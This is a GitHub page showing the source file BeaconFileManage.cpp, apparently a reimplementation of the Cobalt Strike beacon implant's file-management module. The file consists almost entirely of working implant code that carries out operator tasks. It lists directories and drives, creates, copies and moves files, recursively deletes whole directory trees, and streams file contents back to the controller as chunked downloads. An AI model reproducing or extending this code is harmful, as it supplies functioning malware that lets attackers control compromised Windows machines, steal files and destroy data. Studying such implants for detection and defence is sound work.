-
Notifications
You must be signed in to change notification settings - Fork 41
/
BeaconFileManage.cpp
309 lines (284 loc) · 7.55 KB
/
BeaconFileManage.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
#include "BeaconFileManage.h"
void BeaconLs(char* Taskdata, int Task_size)
{
SYSTEMTIME SystemTime;
SYSTEMTIME LocalTime;
HANDLE FirstFileA;
char* buff = (char*)malloc(0x4000);
memset(buff, 0, 0x4000u);
datap taskpdatap;
BeaconDataParse(&taskpdatap, Taskdata, Task_size);
int unknown = BeaconDataInt(&taskpdatap);
BeaconDataCopyToBuffer(&taskpdatap, buff, 0x4000);
formatp pdatap;
BeaconFormatAlloc((formatp*)&pdatap, 0x200000u);
BeaconFormatInt((formatp*)&pdatap, unknown);
if (!strncmp(buff, ".\\*", 0x4000))
{
GetCurrentDirectoryA(0x4000u, buff);
strncat_s(buff, 0x4000u, "\\*", 2);
}
BeaconFormatPrintf((formatp*)&pdatap, (char*)"%s\n", buff);
WIN32_FIND_DATAA FindFileData;
FirstFileA = FindFirstFileA(buff, &FindFileData);
if (FirstFileA == (HANDLE)-1)
{
BeaconTaskError1Output(52, GetLastError(), buff);
int length = BeaconFormatlength((formatp*)&pdatap);
char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap);
BeaconTaskOutput(buffer, length, 22);
free(buff);
}
else
{
free(buff);
do
{
FileTimeToSystemTime(&FindFileData.ftLastWriteTime, &SystemTime);
SystemTimeToTzSpecificLocalTime(0, &SystemTime, &LocalTime);
if ((FindFileData.dwFileAttributes & 0x10) != 0)
{
BeaconFormatPrintf(
(formatp*)&pdatap,
(char*)"D\t0\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
LocalTime.wMonth,
LocalTime.wDay,
LocalTime.wYear,
LocalTime.wHour,
LocalTime.wMinute,
LocalTime.wSecond,
FindFileData.cFileName);
}
else
{
BeaconFormatPrintf(
(formatp*)&pdatap,
(char*)"F\t%I64d\t%02d/%02d/%02d %02d:%02d:%02d\t%s\n",
__PAIR64__(FindFileData.nFileSizeHigh, FindFileData.nFileSizeLow),
LocalTime.wMonth,
LocalTime.wDay,
LocalTime.wYear,
LocalTime.wHour,
LocalTime.wMinute,
LocalTime.wSecond,
FindFileData.cFileName);
}
} while (FindNextFileA(FirstFileA, &FindFileData));
FindClose(FirstFileA);
int length = BeaconFormatlength((formatp*)&pdatap);
char* buffer = BeaconFormatOriginalPtr((formatp*)&pdatap);
BeaconTaskOutput(buffer, length, 0x16u);
}
BeaconFormatFree((formatp*)&pdatap);
}
void beacon_MkDir(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
char* buffer = (char*)malloc(0x4000u);
BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000);
_mkdir(buffer);
free(buffer);
}
void GetDrivesList(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
int unknown = BeaconDataInt(&pdatap);
formatp pformatp;
BeaconFormatAlloc(&pformatp, 0x80u);
BeaconFormatInt(&pformatp, unknown);
DWORD LogicalDrives = GetLogicalDrives();
BeaconFormatPrintf(&pformatp, (char*)"%u", LogicalDrives);
int length = BeaconFormatlength(&pformatp);
char* buffer = BeaconFormatOriginalPtr(&pformatp);
BeaconTaskOutput(buffer, length, 22);
BeaconFormatFree(&pformatp);
}
BOOL isDirectory(LPCSTR lpFileName)
{
return (GetFileAttributesA(lpFileName) & FILE_ATTRIBUTE_DIRECTORY) == 16;
}
void __cdecl CallbackDelFile(const char* path, const char* name, int type)
{
char* buffer = (char*)malloc(0x4000u);
memset(buffer, 0, 0x4000);
_snprintf(buffer, 0x4000u, "%s\\%s", path, name);
if (type)
{
_rmdir(buffer);
}
else
{
remove(buffer);
}
free(buffer);
}
void DeleteAllFile(char* buffer)
{
struct _WIN32_FIND_DATAA FindFileData;
TraverseDeleteFile(buffer, &FindFileData, CallbackDelFile);
}
void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun)
{
char* buffer = (char*)malloc(0x8000u);
_snprintf(buffer, 0x8000u, "%s\\*", path);
HANDLE hFindFile = FindFirstFileA(buffer, lpFindFileData);
free(buffer);
if (hFindFile != (HANDLE)-1)
{
do
{
if ((lpFindFileData->dwFileAttributes & 0x10) != 0)
{
if (strcmp(lpFindFileData->cFileName, "."))
{
if (strcmp(lpFindFileData->cFileName, ".."))
{
char* temp = (char*)malloc(0x8000u);
_snprintf(temp, 0x8000u, "%s", lpFindFileData->cFileName);
RecursionTraverseDeleteFile(path, lpFindFileData->cFileName, lpFindFileData, Callback_fun);
Callback_fun(path, temp, 1);
free(temp);
}
}
}
else
{
Callback_fun(path, lpFindFileData->cFileName, 0);
}
} while (FindNextFileA(hFindFile, lpFindFileData));
FindClose(hFindFile);
}
}
void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback)
{
char* buffer = (char*)malloc(0x8000u);
_snprintf(buffer, 0x8000u, "%s\\%s", path, Name);
TraverseDeleteFile(buffer, lpFindFileData, Callback);
free(buffer);
}
void beacon_rm(char* Taskdata, int Task_size)
{
datap pdatap;
BeaconDataParse(&pdatap, Taskdata, Task_size);
char* buffer = (char*)malloc(0x4000u);
BeaconDataCopyNToBuffer(&pdatap, buffer, 0x4000);
if (isDirectory(buffer))
{
DeleteAllFile(buffer);
_rmdir(buffer);
}
else
{
remove(buffer);
}
free(buffer);
}
void beacon_copy(char* Taskdata, int Task_size)
{
datap* pdatap = BeaconDataInit(0x4000u);
char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000);
char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000);
datap ptaskdatap;
BeaconDataParse(&ptaskdatap, Taskdata, Task_size);
BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000);
BeaconDataCopyToBuffer(&ptaskdatap,lpNewFileName, 0x2000);
if (!CopyFileA(lpExistingFileName, lpNewFileName, 0))
{
BeaconErrorD(0xDu, GetLastError());
}
BeaconDataClear(pdatap);
BeaconDataFree(pdatap);
}
void beacon_Move(char* Taskdata, int Task_size)
{
datap* pdatap = BeaconDataInit(0x4000u);
char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000);
char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000);
datap ptaskdatap;
BeaconDataParse(&ptaskdatap, Taskdata, Task_size);
BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000);
BeaconDataCopyToBuffer(&ptaskdatap, lpNewFileName, 0x2000);
if (!MoveFileA(lpExistingFileName, lpNewFileName))
{
BeaconErrorD(0xEu, GetLastError());
}
BeaconDataClear(pdatap);
BeaconDataFree(pdatap);
}
void CheckDownloadIsOK(BeaconDownload* pBeaconDownload)
{
if (!pBeaconDownload->size)
{
int number = htonl(pBeaconDownload->number);
BeaconTaskOutput((char*)&number, 4, 9);
fclose(pBeaconDownload->fp);
}
}
char* download_data;
void TransferFileData(BeaconDownload* pBeaconDownload, size_t size)
{
if (!download_data)
{
download_data = (char*)malloc(0x80004u);
}
*(int*)download_data = htonl(pBeaconDownload->number);
int dsize = pBeaconDownload->size;
if (dsize > size)
{
dsize = size;
}
int readsize =0;
while (dsize)
{
int readlen = fread(&download_data[readsize + 4], 1u, dsize, pBeaconDownload->fp);
if (!readlen)
{
pBeaconDownload->size = 0;
break;
}
readsize += readlen;
dsize -= readlen;
pBeaconDownload->size -= readlen;
}
BeaconTaskOutput(download_data, readsize + 4, 8); // ÎļþÏÂÔØ
CheckDownloadIsOK(pBeaconDownload);
}
void __cdecl CheckDownload(size_t size)
{
BeaconDownload* pgBeaconDownload = gBeaconDownload;
if (pgBeaconDownload)
{
do
{
if (pgBeaconDownload->size)
{
TransferFileData(pgBeaconDownload, size);
}
pgBeaconDownload = pgBeaconDownload->Linked;
} while (pgBeaconDownload);
pgBeaconDownload = gBeaconDownload;
BeaconDownload* temp=0;
while (pgBeaconDownload)
{
if (pgBeaconDownload->size)
{
temp = pgBeaconDownload;
pgBeaconDownload = pgBeaconDownload->Linked;
}
else
{
if (!temp)
{
gBeaconDownload = pgBeaconDownload->Linked;
free(pgBeaconDownload);
return;
}
temp->Linked = pgBeaconDownload->Linked;
free(pgBeaconDownload);
pgBeaconDownload = temp->Linked;
}
}
}
}